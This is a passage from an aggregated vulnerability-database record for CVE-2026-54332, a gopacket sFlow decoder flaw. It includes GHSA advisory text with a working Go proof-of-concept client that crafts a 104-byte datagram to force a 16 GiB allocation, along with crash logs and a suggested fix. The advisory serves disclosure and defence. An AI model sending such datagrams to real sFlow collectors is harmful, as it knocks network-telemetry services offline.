under a hard 256 MB cgroup cap with swap disabled\n(`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and\nthe host is unaffected.\n\nNegative control (benign datagram, `communitiesLength=4`):\n\n```\n$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4 --benign\n[client] sent 124-byte sFlow datagram (communitiesLength=4, benign=true)\n\n# collector log:\n[collector] received 124-byte datagram from 172.18.0.3:56438\n[collector] decoded sFlow datagram: version=5 samples=1 flowSamples=1\n# collector status: Up (ALIVE); RSS flat at 1.5 MiB\n```\n\nAttack (single malicious datagram, `communitiesLength=0xFFFFFFFF`):\n\n```\n$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4294967295\n[client] this datagram instructs the decoder to make([]uint32, 4294967295) = 16384 MB\n[client] datagram sent over real UDP socket\n\n# collector log (verbatim):\n[collector] received 104-byte datagram from 172.18.0.3:42284\nfatal error: runtime: out of memory\n\nruntime stack:\nruntime.throw(...)\nruntime.sysMapOS(0x61585e800000, 0x400000000, ...)   // 0x400000000 = 16 GiB requested\nruntime.makeslice(...)\n\t/usr/local/go/src/runtime/slice.go:117\ngithub.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:1306\ngithub.com/gopacket/gopacket/layers.decodeFlowSample(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:574\ngithub.com/gopacket/gopacket/layers.(*SFlowDatagram).DecodeFromBytes(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:321\ngithub.com/gopacket/gopacket.NewPacket(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/packet.go:767\nmain.main()\n\t/src/collector.go:54\n\n# container final state:\nStatus=exited OOMKilled=false ExitCode=2\n```\n\nA single 104-byte UDP datagram, delivered over a real socket to a real\ngopacket-based collector, terminates the collector process. The Go runtime tries\nto `sysMapOS` 0x400000000 (16 GiB) into the 256 MB cgroup, the mapping is denied,\nand the runtime aborts with `fatal error: runtime: out of memory` (exit 2). The\nfull attacker -\u003e sink call stack is captured: `collector.go:54`\n(`gopacket.NewPacket`) -\u003e `SFlowDatagram.DecodeFromBytes` -\u003e `decodeFlowSample`\n(sflow.go:574) -\u003e `decodeExtendedGatewayFlowRecord` (sflow.go:1306) -\u003e\n`makeslice` -\u003e fatal OOM. The benign control on the same collector decodes\ncleanly and the process stays alive with flat RSS, confirming the\nattacker-controlled `communitiesLength` field is what drives the allocation.\n\nThe host is unaffected throughout: the allocation is contained by the 256 MB\ncgroup cap (no swap), and host swap stayed above 900 MB free across the run.\n\n## Affected versions\n\n`github.com/gopacket/gopacket` \u003c= v1.6.0 (v1.6.0 is the latest release; HEAD == tag). Earlier versions carrying the same `layers/sflow.go` decode code are affected as well.\n\n## Suggested fix\n\nBefore each `make([]uint32, n)`, validate `n` against the number of bytes actually remaining in the datagram. Each element consumes 4 bytes on the wire, so a correct upper bound is `remaining_bytes / 4`; any count larger than that cannot be backed by real packet data and should be rejected with a decode error (matching the existing `errors.New` / `fmt.Errorf` error style in this file), rather than pre-allocating. This caps the allocation at roughly the datagram size and eliminates the amplification:\n\n- `decodeExtendedGatewayFlowRecord`: reject when `communitiesLength \u003e uint32(len(*data)/4)` before `make([]uint32, communitiesLength)`.\n- `decodePath`: reject when `ad.Count \u003e uint32(len(*data)/4)` before `make([]uint32, ad.Count)`, and propagate the error to the caller.\n\nI will follow up with a fix PR via the advisory's private fork.\n\n## References\n\n- sFlow Version 5 specification (https://sflow.org/sflow_version_5.txt), section on the extended_gateway flow_data record (communities / dst_as_path lists).\n- CWE-770: Allocation of Resources Without Limits or Throttling.","status":"published","published":"2026-07-28T16:17:26Z","modified":"2026-07-28T16:17:27Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:40:53.707378Z"}],"nvd":[{"id":"CVE-2026-54332","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice allocation from those counts without bounding them against the bytes remaining in the datagram, so a 104-byte UDP datagram can drive an allocation of up to 16 GiB and cause an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","status":"published","published":"2026-07-28T17:16:51.257Z","modified":"2026-08-05T19:10:43.193Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:12:33.249634Z"}],"osv":[{"id":"CVE-2026-54332","title":"GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -\u003e up to 16 GiB make) -\u003e unauthenticated remote DoS","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice allocation from those counts without bounding them against the bytes remaining in the datagram, so a 104-byte UDP datagram can drive an allocation of up to 16 GiB and cause an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","status":"published","published":"2026-07-28T16:17:48.796Z","modified":"2026-10-28T02:30:53.644529865Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:45:10.818486Z"},{"id":"DEBIAN-CVE-2026-54332","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice allocation from those counts without bounding them against the bytes remaining in the datagram, so a 104-byte UDP datagram can drive an allocation of up to 16 GiB and cause an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","status":"published","published":"2026-07-28T17:16:51.257Z","modified":"2026-10-01T03:03:27.049815289Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-g6v3-7xmc-w563","title":"GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -\u003e up to 16 GiB make) -\u003e unauthenticated remote DoS","description":"## Summary\n\nThe sFlow `ExtendedGatewayFlow` record decoder in `github.com/gopacket/gopacket` allocates a slice with `make([]uint32, n)` where `n` is an attacker-controlled 32-bit wire field that has no upper bound. Because the allocation happens *before* the read loop that would consume the corresponding bytes, a single small UDP datagram can force a multi-gigabyte allocation. A 104-byte sFlow datagram can request up to 16 GiB and OOM-kill any service that parses sFlow with gopacket. This is an unauthenticated remote denial of service (CWE-770).\n\n## Root cause (file:line @ v1.6.0)\n\nTwo sinks in `layers/sflow.go`, both in the `ExtendedGatewayFlow` (record type 1003) decode path:\n\n1. `layers/sflow.go:1306` in `decodeExtendedGatewayFlowRecord`:\n```go\n*data, communitiesLength = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])\neg.Communities = make([]uint32, communitiesLength)   // communitiesLength is a raw wire uint32, no bound\nfor j := uint32(0); j \u003c communitiesLength; j++ { ... }\n```\n\n2. `layers/sflow.go:1276` in `decodePath` (a helper called from the same record decoder):\n```go\n*data, ad.Count = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])\nad.Members = make([]uint32, ad.Count)                // ad.Count is a raw wire uint32, no bound\nfor i := uint32(0); i \u003c ad.Count; i++ { ... }\n```\n\nIn both cases the `make` is executed before the loop that reads the element bytes, so the allocation size is fully determined by the attacker-supplied count field and is never checked against the number of bytes actually remaining in the packet. `communitiesLength = 0xFFFFFFFF` requests `make([]uint32, 4294967295)` = 16,384 MB (16 GiB).\n\n## Reachability (remote attacker -\u003e sink)\n\nThe registered `LayerTypeSFlow` decoder parses sFlow datagrams from the wire:\n\n`SFlowDatagram.DecodeFromBytes` (sflow.go:302) -\u003e `SampleCount` loop -\u003e `decodeFlowSample(expanded=false)` (sflow.go:458) -\u003e `RecordCount` loop -\u003e record format 1003 `SFlowTypeExtendedGatewayFlow` (sflow.go:573) -\u003e `decodeExtendedGatewayFlowRecord` (sflow.go:1284) -\u003e sink at line 1306 (and line 1276 via the `ASPath` -\u003e `decodePath` branch).\n\nsFlow is a UDP-based network-telemetry protocol; collectors built on gopacket process datagrams sent (or forwarded by switches/routers) from the network. No authentication is involved, so any host that can deliver a UDP packet to such a collector can trigger the sink. The same record reached via `gopacket.NewPacket(data, LayerTypeSFlow, gopacket.Default)` is equally affected.\n\n## Impact\n\nUnauthenticated remote denial of service via memory exhaustion. A single 104-byte datagram drives an allocation of up to 16 GiB, OOM-killing the parsing process. There is no memory corruption and no code execution — the impact is process termination / resource exhaustion. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).\n\n## Proof of Concept\n\nThis PoC is an end-to-end test against a real deployed sFlow collector. A minimal\nbut realistic UDP collector (built on the public gopacket API, exactly as a real\nnetwork-telemetry collector would be) runs inside a hard-capped 256 MB container;\nan independent client process sends a real malicious sFlow datagram over a real\nUDP socket; the collector process is then observed to die. A benign datagram is\nused as a negative control.\n\nThe harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at\nthe v1.6.0 tag, `layers/sflow.go:1306`).\n\n### Collector (real UDP sFlow collector)\n\n```go\n// collector.go — binds a UDP socket and, for every datagram, builds a\n// gopacket.Packet rooted at LayerTypeSFlow and accesses the layer, which drives\n// the registered sFlow decoder over the attacker-controlled bytes.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\n\t\"github.com/gopacket/gopacket\"\n\t\"github.com/gopacket/gopacket/layers\"\n)\n\nfunc main() {\n\tudpAddr, _ := net.ResolveUDPAddr(\"udp4\", \"0.0.0.0:6343\")\n\tconn, err := net.ListenUDP(\"udp4\", udpAddr)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"listen error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\tfmt.Printf(\"[collector] sFlow collector listening on udp %s\\n\", conn.LocalAddr())\n\n\tbuf := make([]byte, 65535)\n\tfor {\n\t\tn, src, err := conn.ReadFromUDP(buf)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tdatagram := make([]byte, n)\n\t\tcopy(datagram, buf[:n])\n\t\tfmt.Printf(\"[collector] received %d-byte datagram from %s\\n\", n, src)\n\t\tpkt := gopacket.NewPacket(datagram, layers.LayerTypeSFlow, gopacket.Default)\n\t\tif dg, ok := pkt.Layer(layers.LayerTypeSFlow).(*layers.SFlowDatagram); ok {\n\t\t\tfmt.Printf(\"[collector] decoded sFlow datagram: version=%d samples=%d flowSamples=%d\\n\",\n\t\t\t\tdg.DatagramVersion, dg.SampleCount, len(dg.FlowSamples))\n\t\t} else {\n\t\t\tfmt.Printf(\"[collector] no sFlow layer decoded\\n\")\n\t\t}\n\t}\n}\n```\n\n### Client (independent process, real UDP socket, no gopacket dependency)\n\nThe client crafts a well-formed sFlow v5 datagram with one FlowSample carrying\none ExtendedGatewayFlow (record type 1003) record and sets only its\n`communitiesLength` field. For the benign case it appends real community words\nplus the trailing LocalPref word so the record decodes cleanly.\n\n```go\n// client.go — usage: client \u003caddr\u003e \u003ccommunitiesLength\u003e [--benign]\npackage main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n)\n\nfunc u32(b *[]byte, v uint32) {\n\tt := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(t, v)\n\t*b = append(*b, t...)\n}\n\nfunc buildDatagram(commLen uint32, benign bool) []byte {\n\tvar d []byte\n\tu32(\u0026d, 5); u32(\u0026d, 1); u32(\u0026d, 0x7f000001); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0)\n\tu32(\u0026d, 1)           // SampleCount = 1\n\tu32(\u0026d, 1)           // sample format -\u003e FlowSample\n\tu32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0)\n\tu32(\u0026d, 1)           // RecordCount = 1\n\tu32(\u0026d, 1003)        // record format -\u003e ExtendedGatewayFlow\n\tu32(\u0026d, 0)           // FlowDataLength\n\tu32(\u0026d, 1)           // gateway address type = IPv4\n\tu32(\u0026d, 0x08080808)  // NextHop\n\tu32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0)\n\tu32(\u0026d, 0)           // ASPathCount = 0\n\tu32(\u0026d, commLen)     // communitiesLength -\u003e make([]uint32, commLen) sink\n\tif benign {\n\t\tfor i := uint32(0); i \u003c commLen; i++ {\n\t\t\tu32(\u0026d, 0xABCD0000+i)\n\t\t}\n\t\tu32(\u0026d, 100) // trailing LocalPref word\n\t}\n\treturn d\n}\n\nfunc main() {\n\taddr := os.Args[1]\n\tcommLen, _ := strconv.ParseUint(os.Args[2], 10, 32)\n\tbenign := len(os.Args) \u003e 3 \u0026\u0026 os.Args[3] == \"--benign\"\n\tdata := buildDatagram(uint32(commLen), benign)\n\traddr, _ := net.ResolveUDPAddr(\"udp\", addr)\n\tconn, _ := net.DialUDP(\"udp\", nil, raddr)\n\tdefer conn.Close()\n\tconn.Write(data)\n\tfmt.Printf(\"[client] sent %d-byte sFlow datagram (communitiesLength=%d, benign=%v)\\n\",\n\t\tlen(data), commLen, benign)\n}\n```\n\n### Run and observed result\n\nThe collector runs under a hard 256 MB cgroup cap with swap disabled\n(`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and\nthe host is unaffected.\n\nNegative control (benign datagram, `communitiesLength=4`):\n\n```\n$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4 --benign\n[client] sent 124-byte sFlow datagram (communitiesLength=4, benign=true)\n\n# collector log:\n[collector] received 124-byte datagram from 172.18.0.3:56438\n[collector] decoded sFlow datagram: version=5 samples=1 flowSamples=1\n# collector status: Up (ALIVE); RSS flat at 1.5 MiB\n```\n\nAttack (single malicious datagram, `communitiesLength=0xFFFFFFFF`):\n\n```\n$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4294967295\n[client] this datagram instructs the decoder to make([]uint32, 4294967295) = 16384 MB\n[client] datagram sent over real UDP socket\n\n# collector log (verbatim):\n[collector] received 104-byte datagram from 172.18.0.3:42284\nfatal error: runtime: out of memory\n\nruntime stack:\nruntime.throw(...)\nruntime.sysMapOS(0x61585e800000, 0x400000000, ...)   // 0x400000000 = 16 GiB requested\nruntime.makeslice(...)\n\t/usr/local/go/src/runtime/slice.go:117\ngithub.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:1306\ngithub.com/gopacket/gopacket/layers.decodeFlowSample(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:574\ngithub.com/gopacket/gopacket/layers.(*SFlowDatagram).DecodeFromBytes(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:321\ngithub.com/gopacket/gopacket.NewPacket(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/packet.go:767\nmain.main()\n\t/src/collector.go:54\n\n# container final state:\nStatus=exited OOMKilled=false ExitCode=2\n```\n\nA single 104-byte UDP datagram, delivered over a real socket to a real\ngopacket-based collector, terminates the collector process. The Go runtime tries\nto `sysMapOS` 0x400000000 (16 GiB) into the 256 MB cgroup, the mapping is denied,\nand the runtime aborts with `fatal error: runtime: out of memory` (exit 2). The\nfull attacker -\u003e sink call stack is captured: `collector.go:54`\n(`gopacket.NewPacket`) -\u003e `SFlowDatagram.DecodeFromBytes` -\u003e `decodeFlowSample`\n(sflow.go:574) -\u003e `decodeExtendedGatewayFlowRecord` (sflow.go:1306) -\u003e\n`makeslice` -\u003e fatal OOM. The benign control on the same collector decodes\ncleanly and the process stays alive with flat RSS, confirming the\nattacker-controlled `communitiesLength` field is what drives the allocation.\n\nThe host is unaffected throughout: the allocation is contained by the 256 MB\ncgroup cap (no swap), and host swap stayed above 900 MB free across the run.\n\n## Affected versions\n\n`github.com/gopacket/gopacket` \u003c= v1.6.0 (v1.6.0 is the latest release; HEAD == tag). Earlier versions carrying the same `layers/sflow.go` decode code are affected as well.\n\n## Suggested fix\n\nBefore each `make([]uint32, n)`, validate `n` against the number of bytes actually remaining in the datagram. Each element consumes 4 bytes on the wire, so a correct upper bound is `remaining_bytes / 4`; any count larger than that cannot be backed by real packet data and should be rejected with a decode error (matching the existing `errors.New` / `fmt.Errorf` error style in this file), rather than pre-allocating. This caps the allocation at roughly the datagram size and eliminates the amplification:\n\n- `decodeExtendedGatewayFlowRecord`: reject when `communitiesLength \u003e uint32(len(*data)/4)` before `make([]uint32, communitiesLength)`.\n- `decodePath`: reject when `ad.Count \u003e uint32(len(*data)/4)` before `make([]uint32, ad.Count)`, and propagate the error to the caller.\n\nI will follow up with a fix PR via the advisory's private fork.\n\n## References\n\n- sFlow Version 5 specification (https://sflow.org/sflow_version_5.txt), section on the extended_gateway flow_data record (communities / dst_as_path lists).\n- CWE-770: Allocation of Resources Without Limits or Throttling.","status":"published","published":"2026-07-28T16:17:26Z","modified":"2026-09-10T03:50:52.074950832Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:47.472172Z"},{"id":"UBUNTU-CVE-2026-54332","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice allocation from those counts without bounding them against the bytes remaining in the datagram, so a 104-byte UDP datagram can drive an allocation of up to 16 GiB and cause an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","status":"published","published":"2026-07-28T17:16:00Z","modified":"2026-10-17T12:59:04.095602225Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"AZL-94323","title":"CVE-2026-54332 affecting package telegraf for versions less than 1.31.0-31","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice allocation from those counts without bounding them against the bytes remaining in the datagram, so a 104-byte UDP datagram can drive an allocation of up to 16 GiB and cause an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","status":"published","published":"2026-07-28T17:16:51Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:26.077208Z"},{"id":"GO-2026-6122","title":"GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -\u003e up to 16 GiB make) -\u003e unauthenticated remote DoS in github.com/gopacket/gopacket","description":"GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -\u003e up to 16 GiB make) -\u003e unauthenticated remote DoS in github.com/gopacket/gopacket","status":"published","published":"2026-08-18T14:32:29Z","modified":"2026-08-18T15:00:21.34550397Z","updated_at":"2026-11-02T15:47:02.838915Z"},{"id":"openSUSE-SU-2026:21761-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5026 CVE-2026-39821\n  * GO-2026-6225\n  * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n  * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n  * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n  * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n  * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n  * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n  * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n  * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n  * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n  * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n  * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n  * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n  * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n  * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n  * GO-2026-6267 GHSA-h58c-xccx-75m3\n  * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n  * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n  * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n  * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n  * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n  * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n  * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n  * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n  * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n  * GO-2026-6278 GHSA-w67g-5rqw-f597\n  * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n  * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n  * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n  * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n  * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n  * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n  * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n  * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n  * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n  * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n  * GO-2026-6289 GHSA-w8j7-39hp-8x59\n  * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n  * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n  * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n  * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n  * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n  * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n  * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n  * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n  * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n  * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n  * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n  * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n  * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n  * GO-2026-4950\n  * GO-2026-6093 GHSA-464c-974j-9xm6\n  * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n  * GO-2026-6095 GHSA-r277-6w6q-xmqw\n  * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n  * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n  * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n  * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n  * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n  * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n  * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n  * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n  * GO-2026-6105 GHSA-c534-2w9c-x7fm\n  * GO-2026-6106 GHSA-v6w6-358x-2433\n  * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n  * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n  * GO-2026-6109 GHSA-86cx-wwf4-phq4\n  * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n  * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n  * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n  * GO-2026-6113 GHSA-p6ph-3jx2-3337\n  * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n  * GO-2026-6115 CVE-2026-56867\n  * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n  * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n  * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n  * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n  * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n  * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n  * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n  * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n  * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n  * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n  * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n  * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n  * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n  * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n  * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n  * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n  * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n  * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n  * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n  * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n  * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n  * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n  * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n  * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n  * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n  * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n  * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n  * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n  * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n  * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n  * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n  * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n  * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n  * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n  * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n  * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n  * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n  * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n  * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n  * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n  * GO-2026-6159 CVE-2026-52857 